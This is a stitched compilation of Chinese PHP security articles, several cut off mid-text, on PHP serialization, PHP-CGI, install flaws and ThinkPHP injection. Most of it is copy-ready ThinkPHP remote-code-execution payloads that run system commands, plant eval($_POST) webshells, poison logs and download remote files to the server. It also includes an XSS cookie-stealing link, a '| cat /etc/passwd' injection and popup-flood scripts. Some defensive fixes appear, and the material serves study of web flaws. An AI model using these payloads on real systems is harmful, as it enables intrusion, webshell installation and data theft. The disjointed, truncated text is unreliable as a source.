创建⼀个PHP类:<?phpclass TestClass //定义⼀个类{//⼀个变量public $variable = 'This is a string';//⼀个⽅法public function PrintVariable(){echo $this->variable;}}//创建⼀个对象$object = new TestClass();//调⽤⼀个⽅法$object->PrintVariable();>public、protected、privatePHP 对属性或⽅法的访问控制,是通过在前⾯添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地⽅被访问。
protected(受保护):受保护的类成员则可以被其⾃⾝以及其⼦类和⽗类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。
注意:不同修饰符序列化后的值不⼀样访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所⽰:public:属性被序列化的时候属性值会变成属性名protected:属性被序列化的时候属性值会变成\x00*\x00属性名private:属性被序列化的时候属性值会变成\x00类名\x00属性名其中:\x00表⽰空字符,但是还是占⽤⼀个字符位置魔术⽅法(magic函数)PHP中把以两个下划线__开头的⽅法称为魔术⽅法(Magic methods)类可能会包含⼀些特殊的函数:magic函数,这些函数在某些情况下会⾃动调⽤。
PHP-CGI远程代码执行漏洞分析与防范
PHP-CGI远程代码执⾏漏洞分析与防范CVE-2012-1823出来时据说是“PHP远程代码执⾏漏洞”,曾经也“轰动⼀时”,当时的我只是刚踏⼊安全门的⼀个⼩菜,直到前段时间tomato师傅让我看⼀个案例,我才想起来这个漏洞。
通过在中对这个漏洞环境的搭建与漏洞原理的分析,我觉得还挺有意思的,故写出⼀篇⽂章来,和⼤家分享。
⾸先,介绍⼀下PHP的运⾏模式。
下载PHP源码,可以看到其中有个⽬录叫sapi。
sapi在PHP中的作⽤,类似于⼀个消息的“传递者”,⽐如我在《》⼀⽂中介绍的fpm,他的作⽤就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执⾏。
除了fpm,最常见的sapi应该是⽤于Apache的mod_php,这个sapi⽤于php和apache之间的数据交换。
php-cgi也是⼀个sapi。
在远古的时候,web应⽤的运⾏⽅式很简单,web容器接收到http数据包后,拿到⽤户请求的⽂件(cgi 脚本),并fork出⼀个⼦进程(解释器)去执⾏这个⽂件,然后拿到执⾏结果,直接返回给⽤户,同时这个解释器⼦进程也就结束了。
基于bash、perl等语⾔的web应⽤多半都是以这种⽅式来执⾏,这种执⾏⽅式⼀般就被称为cgi,在安装Apache的时候默认有⼀个cgi-bin⽬录,最早就是放置这些cgi脚本⽤的。
但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有⼀定消耗的,⽽且进程的数量也不是⽆限的。
所以,基于cgi 模式运⾏的⽹站通常不能同时接受⼤量请求,否则每个请求⽣成⼀个⼦进程,就有可能把服务器挤爆。
于是后来就有了fastcgi,fastcgi进程可以将⾃⼰⼀直运⾏在后台,并通过fastcgi协议接受数据包,执⾏后返回结果,但⾃⾝并不退出。
php有⼀个叫php-cgi的sapi,php-cgi有两个功能,⼀是提供cgi⽅式的交互,⼆是提供fastcgi⽅式的交互。
也就说,我们可以像perl⼀样,让web容器直接fork⼀个php-cgi进程执⾏某脚本;也可以在后台运⾏php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi 的管理器),并让web容器⽤fastcgi协议和9000交互。
论PHP常见的漏洞WooYun知识库
论PHP 常见的漏洞WooYun 知识库首先拿到一份源码 肯定是先install 上。
而在安装文件上又会经常出现问题。
一般的安装文件在安装完成后 基本上都不会自动删除这个安装的文件 我遇到过的会自动删除的好像也就qibocms 了。
其他的基本都是通过生成一个lock 文件 来判断程序是否安装过了 如果存在这个lock 文件了 就会退出了。
这里首先 先来说一下安装文件经常出现的问题。
根本无验证。
这种的虽然不多 但是有时还是会遇到个。
在安装完成后 并不会自动删除文件 又不会生成lock 来判断是否安装过了。
导致了可以直接重装过例子: WooYun: PHPSHE B2C 重装。
安装file因为install 一般都会有step 步骤啥的。
Step 1 check 啥啥 step 2 是安装啥的。
而一些cms 默认step 是1 而step 又是GET 来的 而他check lock 的时候就是在step1里面。
这时候如果我们直接用GET 提交step 2 那么就直接进入下一步了 就没check lock 了。
例如某cms 中的安装文件1 2 3 4 5 6 7 8 9 if (empty ($step)){$step = 1;//当用户没有提交step 的时候 赋值为1}require_once ("includes/inc_install.php");$gototime = 2000;/*------------------------显示协议文件------------------------*/10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if ($step == 1) //当1才检测lock{if (file_exists('installed.txt')){echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/></head><body>你已经安装过该系统,如果想重新安装,请先删除install 目录下的 installed.txt 文件,然后再安装。
「原创」萌新也能看懂的ThinkPHP3.2.3漏洞分析
「原创」萌新也能看懂的ThinkPHP3.2.3漏洞分析ThinkPHP是⼀个快速、兼容⽽且简单的轻量级国产PHP开发框架,可以⽀持Windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。
⽹上关于ThinkPHP的漏洞分析⽂章有很多,今天分享的内容是 i 春秋论坛作者佳哥原创的⽂章。
本⽂是作者在学习ThinkPHP3.2.3漏洞分析过程中的⼀次完整的记录,⾮常适合初学者,⽂章未经许可禁⽌转载!注:i 春秋公众号旨在为⼤家提供更多的学习⽅法与技能技巧,⽂章仅供学习参考。
where注⼊在控制器中,写个demo,利⽤字符串⽅式作为where传参时存在注⼊。
public function getuser(){$user = M('User')->where('id='.I('id'))->find();dump($user);}在变量user地⽅进⾏断点,PHPSTROM F7进⼊,I⽅法获取传⼊的参数。
switch(strtolower($method)) {case 'get' :$input =& $_GET;break;case 'post' :$input =& $_POST;break;case 'put' :if(is_null($_PUT)){parse_str(file_get_contents('php://input'), $_PUT);}$input = $_PUT;break;case 'param' :switch($_SERVER['REQUEST_METHOD']) {case 'POST':$input = $_POST;break;case 'PUT':if(is_null($_PUT)){parse_str(file_get_contents('php://input'), $_PUT);}$input = $_PUT;break;default:$input = $_GET;}break;......重点看过滤函数先利⽤htmlspecialchars函数过滤参数,在第402⾏,利⽤think_filter函数过滤常规sql函数。
ThinkPHP框架任意代码执行漏洞的利用及其修复方法
ThinkPHP框架任意代码执⾏漏洞的利⽤及其修复⽅法ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的。
最早诞⽣于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。
早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的Action 和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式,封装了CURD和⼀些常⽤操作,单⼀⼊⼝模式等,在模版引擎、缓存机制、认证机制和扩展性⽅⾯均有独特的表现.然⽽近期thinkphp框架爆出了⼀个任意代码执⾏漏洞,其危害性相当的⾼,漏洞利⽤⽅法如下:index.php/module/aciton/param1/${@print(THINK_VERSION)}index.php/module/aciton/param1/${@function_all()}其中的function_all代表任何函数,⽐如:index.php/module/aciton/param1/${@phpinfo()}就可以获取服务器的系统配置信息等。
index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al可以列出⽹站⽂件列表index.php/module/action/param1/{${eval($_POST[s])}}就可以直接执⾏⼀句话代码,⽤菜⼑直接连接.将/ThinkPHP/Lib/Core/Dispatcher.class.php⽂件中的$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));修改为:$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));将preg_replace第⼆个参数中的双引号改为单引号,防⽌其中的php变量语法被解析执⾏。
命令执行漏洞
命令执行漏洞作者美创科技安全实验室No.1、漏洞描述命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。
如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system()、exec()、shell_exec()、passthru()、pcntl_execl()、popen()、proc_open()等。
当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击。
PHP执行命令是继承WebServer 用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大。
No.2、漏洞危害●继承Web服务器程序的权限,去执行系统命令或读写文件●反弹shell●控制整个网站,甚至控制整个服务器No.3、漏洞产生的原因1.没有对用户输入进行过滤或过滤不严例如,没有过滤&、&&、|、||等连接符2.系统漏洞造成的命令执行bash破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http、ssh和dhcp等。
3.调用的第三方组件存在代码执行漏洞例如:php(system()、shell_exec()、exec()、eval())JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)ThinkPHP命令执行No.4、常见危险函数1.Php代码相关●eval()●assert()●preg_replace●call_user_func()●call_user_func_array()●create_function●array_map()2.系统命令执行相关●system()●passthru()●exec()●pcntl_exec()●shell_exec()●popen()●proc_open()●`(反单引号)●ob_start()No.5、漏洞利用漏洞利用_1访问:http://127.0.0.1/test.php?cmd=127.0.0.1;pwd也就是执行了“pwd”命令漏洞利用_2访问:http://127.0.0.1/test.php?fun=system&par=whoami 其实就相当于执行了system("whoami")漏洞利用_3访问:http://127.0.0.1/test.php?code=phpinfo();No.6、防范措施1.在PHP下禁用高危系统函数找到php.ini,查找到disable_functions,添加禁用的函数名2.参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义。
php include函数漏洞利用方法
php include函数漏洞利用方法1.在使用include函数时,用户输入未经过滤可能会导致代码执行漏洞。
When using the include function, user input that is not filtered may result in code execution vulnerabilities.2.攻击者可以利用include函数漏洞来执行恶意代码,危害服务器安全。
Attackers can exploit the include function vulnerabilityto execute malicious code, compromising server security.3.使用include函数时,应当对用户输入进行严格的过滤和验证。
When using the include function, strict filtering and validation of user input should be applied.4.程序员应该避免在include函数中使用动态变量,以免产生安全隐患。
Programmers should avoid using dynamic variables in the include function to avoid security risks.5. include函数漏洞可能导致敏感信息泄露,对网站造成严重损失。
Include function vulnerabilities may lead to sensitive information leaks, causing serious damage to the website.6.经常对系统进行安全审计,及时修复include函数漏洞,可降低被攻击风险。
Regular security audits of the system and timely fixing of include function vulnerabilities can reduce the risk of being attacked.7.在编写代码时,应当遵循最小权限原则来限制include函数的调用范围。
php漏洞全解
PHP网页的安全性问题针对PHP的网站主要存在下面几种攻击方式:1.命令注入(Command Injection)2.eval注入(Eval Injection)3.客户端脚本攻击(Script Insertion)4.跨网站脚本攻击(Cross Site Scripting, XSS)5.SQL注入攻击(SQL injection)6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)7.Session 会话劫持(Session Hijacking)8.Session 固定攻击(Session Fixation)9.HTTP响应拆分攻击(HTTP Response Splitting)10.文件上传漏洞(File Upload Attack)11.目录穿越漏洞(Directory Traversal)12.远程文件包含攻击(Remote Inclusion)13.动态函数注入攻击(Dynamic Variable Evaluation)14.URL攻击(URL attack)15.表单提交欺骗攻击(Spoofed Form Submissions)16.HTTP请求欺骗攻击(Spoofed HTTP Requests)几个重要的php.ini选项Register Globalsphp>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患.例1://check_admin()用于检查当前用户权限,如果是admin设置$is_admin变量为true,然后下面判断此变量是否为true,然后执行管理的一些操作//ex1.php<?phpif (check_admin()){$is_admin = true;}if ($is_admin){do_something();}?>这一段代码没有将$is_admin事先初始化为Flase,如果register_globals为On,那么我们直接提交 /ex1.php?is_admin=true,就可以绕过check_admin()的验证例2://ex2.php<?phpif (isset($_SESSION["username"])){do_something();}else{echo "您尚未登录!";}?>当register_globals=On时,我们提交/ex2.php?_SESSION[username]=dodo,就具有了此用户的权限所以不管register_globals为什么,我们都要记住,对于任何传输的数据要经过仔细验证,变量要初始化safe_mode安全模式,PHP用来限制文档的存取.限制环境变量的存取,控制外部程序的执行.启用安全模式必须设置php.ini中的safe_mode = On1.限制文件存取safe_mode_include_dir = "/path1:/path2:/path3"不同的文件夹用冒号隔开2.限制环境变量的存取safe_mode_allowed_env_vars = string指定PHP程序可以改变的环境变量的前缀,如:safe_mode_allowed_env_vars = PHP_ ,当这个选项的值为空时,那么php可以改变任何环境变量safe_mode_protected_env_vars = string用来指定php程序不可改变的环境变量的前缀3.限制外部程序的执行safe_mode_exec_dir = string此选项指定的文件夹路径影响system.exec.popen.passthru,不影响shell_exec和"` `".disable_functions = string不同的函数名称用逗号隔开,此选项不受安全模式影响magic quotes用来让php程序的输入信息自动转义,所有的单引号("'"),双引号("""),反斜杠("\")和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc = On 用来设置magic quotes 为On,它会影响HTTP请求的数据(GET.POST.Cookies)程序员也可以使用addslashes来转义提交的HTTP请求数据,或者用stripslashes来删除转义命令注入攻击PHP中可以使用下列5个函数来执行外部的应用程序或函数system.exec.passthru.shell_exec.``(与shell_exec功能相同)函数原型string system(string command, int &return_var)command 要执行的命令return_var 存放执行命令的执行后的状态值string exec (string command, array &output, int &return_var) command 要执行的命令output 获得执行命令输出的每一行字符串return_var 存放执行命令后的状态值void passthru (string command, int &return_var)command 要执行的命令return_var 存放执行命令后的状态值string shell_exec (string command)command 要执行的命令漏洞实例例1://ex1.php<?php$dir = $_GET["dir"];if (isset($dir)){echo "<pre>";system("ls -al ".$dir);echo "</pre>";}?>我们提交/ex1.php?dir=| cat /etc/passwd提交以后,命令变成了 system("ls -al | cat /etc/passwd");eval注入攻击eval函数将输入的字符串参数当作PHP程序代码来执行函数原型:mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候//ex2.php<?php$var = "var";if (isset($_GET["arg"])){$arg = $_GET["arg"];eval("\$var = $arg;");echo "\$var =".$var;}?>当我们提交 /ex2.php?arg=phpinfo();漏洞就产生了 动态函数<?phpfunc A(){dosomething();}func B(){dosomething();}if (isset($_GET["func"])){$myfunc = $_GET["func"];echo $myfunc();}?>程序员原意是想动态调用A和B函数,那我们提交/ex.php?func=phpinfo 漏洞产生防范方法1.尽量不要执行外部命令2.使用自定义函数或函数库来替代外部命令的功能3.使用escapeshellarg函数来处理命令参数4.使用safe_mode_exec_dir指定可执行文件的路径esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号"'",替换成"\'",双引号""",替换成"\"",分号";"替换成"\;"用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内safe_mode = Onsafe_mode_exec_di r= /usr/local/php/bin/客户端脚本植入客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单.图片.动画或超链接文字等对象内.当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击.可以被用作脚本植入的HTML标签一般包括以下几种:1.<script>标签标记的javascript和vbscript等页面脚本程序.在<script>标签内可以指定js程序代码,也可以在src属性内指定js文件的URL路径2.<object>标签标记的对象.这些对象是java applet.多媒体文件和ActiveX控件等.通常在data属性内指定对象的URL路径3.<embed>标签标记的对象.这些对象是多媒体文件,例如:swf文件.通常在src 属性内指定对象的URL路径4.<applet>标签标记的对象.这些对象是java applet,通常在codebase属性内指定对象的URL路径5.<form>标签标记的对象.通常在action属性内指定要处理表单数据的web应用程序的URL路径客户端脚本植入的攻击步骤1.攻击者注册普通用户后登陆网站2.打开留言页面,插入攻击的js代码3.其他用户登录网站(包括管理员),浏览此留言的内容4.隐藏在留言内容中的js代码被执行,攻击成功实例数据库Create TABLE `postmessage` (`id` int(11) NOT NULL auto_increment,`subject` varchar(60) NOT NULL default '',`name` varchar(40) NOT NULL default '',`email` varchar(25) NOT NULL default '',`question` mediumtext NOT NULL,`postdate` datetime NOT NULL default '0000-00-00 00:00:00',PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;//add.php 插入留言//list.php 留言列表//show.php 显示留言浏览此留言的时候会执行js脚本插入 <script>while(1){windows.open();}</script> 无限弹框插入<script>location.href="";</script> 跳转钓鱼页面或者使用其他自行构造的js代码进行攻击防范的方法一般使用htmlspecialchars函数来将特殊字符转换成HTML编码函数原型string htmlspecialchars (string string, int quote_style, string charset) string 是要编码的字符串quote_style 可选,值可为ENT_COMPAT ENT_QUOTES ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号.ENT_QUOTES,表示双引号和单引号都要转换.ENT_NOQUOTES,表示双引号和单引号都不转换charset 可选,表示使用的字符集函数会将下列特殊字符转换成html编码:& ----> &" ----> "' ----> '< ----> <> ----> >把show.php的第98行改成<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?> 然后再查看插入js的漏洞页面xss跨站脚本攻击XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限.跨站脚本攻击的一般步骤:1.攻击者以某种方式发送xss的http链接给目标用户2.目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接3.网站执行了此xss攻击脚本4.目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息5.攻击者使用目标用户的信息登录网站,完成攻击当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似/search.php?key=<script>document.location='/getcookie.php?cookie='+document.cookie;</script> ,诱骗用户点击后,可以获取用户cookies值防范方法:利用htmlspecialchars函数将特殊字符转换成HTML编码函数原型string htmlspecialchars (string string, int quote_style, string charset) string 是要编码的字符串quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。
thinkPHP命令执行漏洞
thinkPHP命令执⾏漏洞thinkPHP中反斜杠的作⽤是类库\命名空间命令执⾏的姿势通过反射invokefunction调⽤call_user_func_array⽅法,call_user_func_array函数接受两个参数,第⼀个为函数名,第⼆个为函数参数数组,如下所⽰,通过call_user_func_array函数调⽤system执⾏whoami函数s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami执⾏php代码s=index/\think\Request/input&filter=phpinfo&data=1获取当前数据库名称s=index/think\config/get&name=database.hostname获取当前数据库密码s=index/think\config/get&name=database.password执⾏php代码s=index/\think\view\driver\Php/display&content=<php%20phpinfo();>执⾏php代码s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1执⾏php代码s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id执⾏php代码s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1执⾏php代码s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=idgetshell的姿势写⼊getshell (file_put_contents应该也⾏)s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<php%20phpinfo();>使⽤echo写⼊shells=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://ip/1.xxx','test.php')⼀种新的⽅法先判断以下代码是否能正常回显使⽤post⽅法请求请求路径:index.php?s=captcha请求实体:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo写⼊shell到⽇志中post请求请求路径:index.php?s=captcha请求实体:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[cmd]); ?>使⽤⽂件包含将⽇志⽂件可当作php⽂件进⾏执⾏(注意⽇志⽂件路径和名称)post请求请求路径:index.php?s=captcha请求实体:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log通过⼀句话copy新⼀句话⽂件(echo)post请求请求实体:index.php?s=captcha请求路径:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&cmd=echo copy("https://ip/1.txt","/web绝对路径/2.php");。
[CNVD-2018-24942]ThinkPHP5远程代码执行漏洞复现
[CNVD-2018-24942]ThinkPHP5远程代码执⾏漏洞复现0x00 漏洞概述编号为CNVD-2018-24942。
ThinkPHP5存在远程代码执⾏漏洞。
由于框架对控制器名称未能进⾏充分检测,攻击者可以利⽤该漏洞对⽹站进⾏远程命令执⾏(RCE)。
影响产品包括:上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31上海顶想信息科技有限公司 ThinkPHP <=5.0.23尝试复现时需要注意版本,若版本处在5.0.13~5.0.19,由于config中app_debug配置项默认为false,使得Payload失效。
⼤致统计结果如下表:版本号是否可被攻击条件5.0.0否5.0.1否5.0.2否5.0.3否5.0.4否5.0.5否5.0.6否5.0.7否5.0.8是⽆需开启debug模式5.0.9是⽆需开启debug模式5.0.10是⽆需开启debug模式5.0.11是⽆需开启debug模式5.0.12是⽆需开启debug模式5.0.13是需开启debug模式5.0.14是需开启debug模式5.0.15是需开启debug模式5.0.16是需开启debug模式5.0.17是需开启debug模式5.0.18是需开启debug模式5.0.19是需开启debug模式5.0.20否5.0.21是需开启debug模式5.0.22是需开启debug模式5.0.23是需开启debug模式0x01 远程代码执⾏访问靶机:传⼊:s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd实际上就是⾮法传参调⽤函数,再通过数组拆分传⼊函数参数。
这已经构造出了任意命令执⾏。
0x02 ⽊马利⽤远程命令执⾏可以轻松写⼊⼀句话⽊马。
写⼊⼀个shell.php:s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3Cphp%20@eval($_POST[pass])%3E蚁剑连接成功:可以在/root⽬录下看到该机器以前执⾏的⽂件:0x03 ⼤佬的POC通杀:# 版本号5.0.8~5.0.19s=whoami&_method=__construct&filter&filter=system# 版本号5.0.20~5.0.23_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami5.1.x php版本>5.5:s=index/think\request/inputdata[]=phpinfo()&filter=asserts=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1s=index/\think\template\driver\file/writecacheFile=shell.php&content=<php%20phpinfo();>5.0.x php版本>=5.4:s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<php @eval($_POST[xxxxxx]);>'s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<php @eval($_POS T[xxxxxx]);?>'s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<php @eval($_POST[xxxxxx]);>\'>zxc2.ph p'0x04 废话⾸次使⽤Windows搭建Docker,花费了⼤量时间。
ThinkPHP5.x远程命令执行漏洞复现
ThinkPHP5.x远程命令执⾏漏洞复现⼀、漏洞描述2018年12⽉10⽇,ThinkPHP官⽅发布了安全更新,其中修复了ThinkPHP5框架的⼀个⾼危漏洞:漏洞的原因是由于框架对控制器名没有进⾏⾜够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执⾏,受影响的版本包括5.0和5.1。
⼆、漏洞影响版本Thinkphp 5.x-Thinkphp 5.1.31Thinkphp 5.0.x<=5.0.23三、漏洞复现3、利⽤system函数远程命令执⾏Payload如下:s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami4、通过phpinfo函数查看phpinfo()的信息 Payload如下:s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=15、写⼊shellPayload如下:s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<php @eval($_POST[cmd]);^> >shell.php注意:需要对特殊字符使⽤^转义(cmd环境下转义⽅式),windows环境的echo命令输出字符串到⽂档不⽤引号(单引号、双引号),部分字符url编码不编码都⾏。
6、查看是否成功写⼊shell7、菜⼑连接8、第⼆种的写⼊shell的⽅法Payload如下:s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<php @eval($_POST[test]);>9、查看是否成功写⼊⽂件10、菜⼑连接总结以上所述是⼩编给⼤家介绍的ThinkPHP 5.x远程命令执⾏漏洞复现,希望对⼤家有所帮助,如果⼤家有任何疑问请给我留⾔,⼩编会及时回复⼤家的。
ThinkPHP2.x任意代码执行漏洞复现与分析
ThinkPHP2.x任意代码执⾏漏洞复现与分析漏洞描述ThinkPHP 2.x版本中,使⽤preg_replace的/e模式匹配路由:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));导致⽤户的输⼊参数被插⼊双引号中执⾏,造成任意代码执⾏漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
漏洞复现POChttp://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D菜⼑连接http://192.168.232.128:8080/index.php?s=/index/index/name/${@print%28eval%28$_POST[1]%29%29}连接密码:1漏洞分析存在漏洞的⽂件/ThinkPHP/Lib/Think/Util/Dispatcher.class.php漏洞代码位置// Dispatcher.class.php中static public function dispatch() 第102⾏$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));漏洞代码块if(!self::routerCheck()){ // 检测路由规则如果没有则按默认规则调度URL$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));$var = array();if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {// 禁⽌直接访问分组exit;}}if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称$var[C('VAR_MODULE')] = array_shift($paths);}$var[C('VAR_ACTION')] = array_shift($paths);// 解析剩余的URL参数$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));$_GET = array_merge($var,$_GET);}分析检测路由规则如果没有则按默认规则调度URL,然后解析剩余的URL参数正则表达式的修饰符/e:只⽤在preg_replace()函数中,在替换字符串中逆向引⽤做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并⽤其结果来替换所搜索的字符串例:<?php$a = '1a2b3c';$b = preg_replace('/\d/e', 'print(xxx);', $a);echo $b;>运⾏结果Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1xxxNotice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1xxxNotice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1xxx1a1b1c虽然有报错,但是已经执⾏了print(xxx)正则表达式的搜索模式:(\w+)/([^/])是取每两个参数$var['\1']="\2";是对数组的操作,将之前第⼀个值作为新数组的键,将第⼆个值作为新数组的值例:<?php$var = array();$s = 'a/b/c/d/e/f/g';preg_replace("/(\w+)\/([^\/])/ies", '$var[\'\\1\']="\\2";', $s);print_r($var);>运⾏结果:Array ( [a] => b [c] => d [e] => f )这⾥最开始匹配到a、b,a作为键,b作为值,以此类推为了让我们构造的语句以执⾏,我们只需要将语句作为数组的值,如:/index.php?s=a/b/c/${phpinfo()}/index.php?s=a/b/c/${phpinfo()}/c/d/e/f/index.php?s=a/b/c/d/e/${phpinfo()}......(语句在第偶数个参数位置)PHP语法在PHP中${}⾥⾯可以执⾏函数ThinkPHP的url规则thinkphp 所有的主⼊⼝⽂件默认访问index控制器(模块)thinkphp 所有的控制器默认执⾏index动作(⽅法)存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
PHP 字符编码绕过漏洞--addslashes、mysql_real_escape漏洞
PHP字符编码绕过漏洞--addslashes、mysql_real_escape漏洞在上次活动开发过程中,有个程序写了下面这样的语句:$sName = $_GET['name'];$sName = addslashes($sName);$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';";var_dump($sql);exit();结果扫描工具一扫描,发现问题来了,被扫除了SQL注入漏洞,而且还引发了整个数据表被锁住(备注:见第二部分)检查安全中心扫描日志发现:当SQL输入为:name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23的时候引发了SQL注入。
//这里输出:string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%';"根本原因是addslash对于字符%BF%27的漏洞。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。
mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。
在MySQL中有两种改变默认字符集的方法。
PHP中GPC绕过的一些总结电脑资料
PHP中GPC绕过的一些总结电脑资料PHP中的GPC绕过是指攻击者绕过PHP的全局变量“GPC(Get、Post、Cookie)”机制,直接访问和篡改请求中的变量。
这种绕过可能导致安全漏洞,允许攻击者执行各种恶意行为,如注入SQL语句、执行任意代码等。
以下是一些PHP中GPC绕过技术的总结。
1.直接访问变量在PHP中,可以通过直接访问变量名来绕过GPC机制。
例如,如果一个表单中有一个名为“username”的参数,可以通过访问$_POST['username']来获取它。
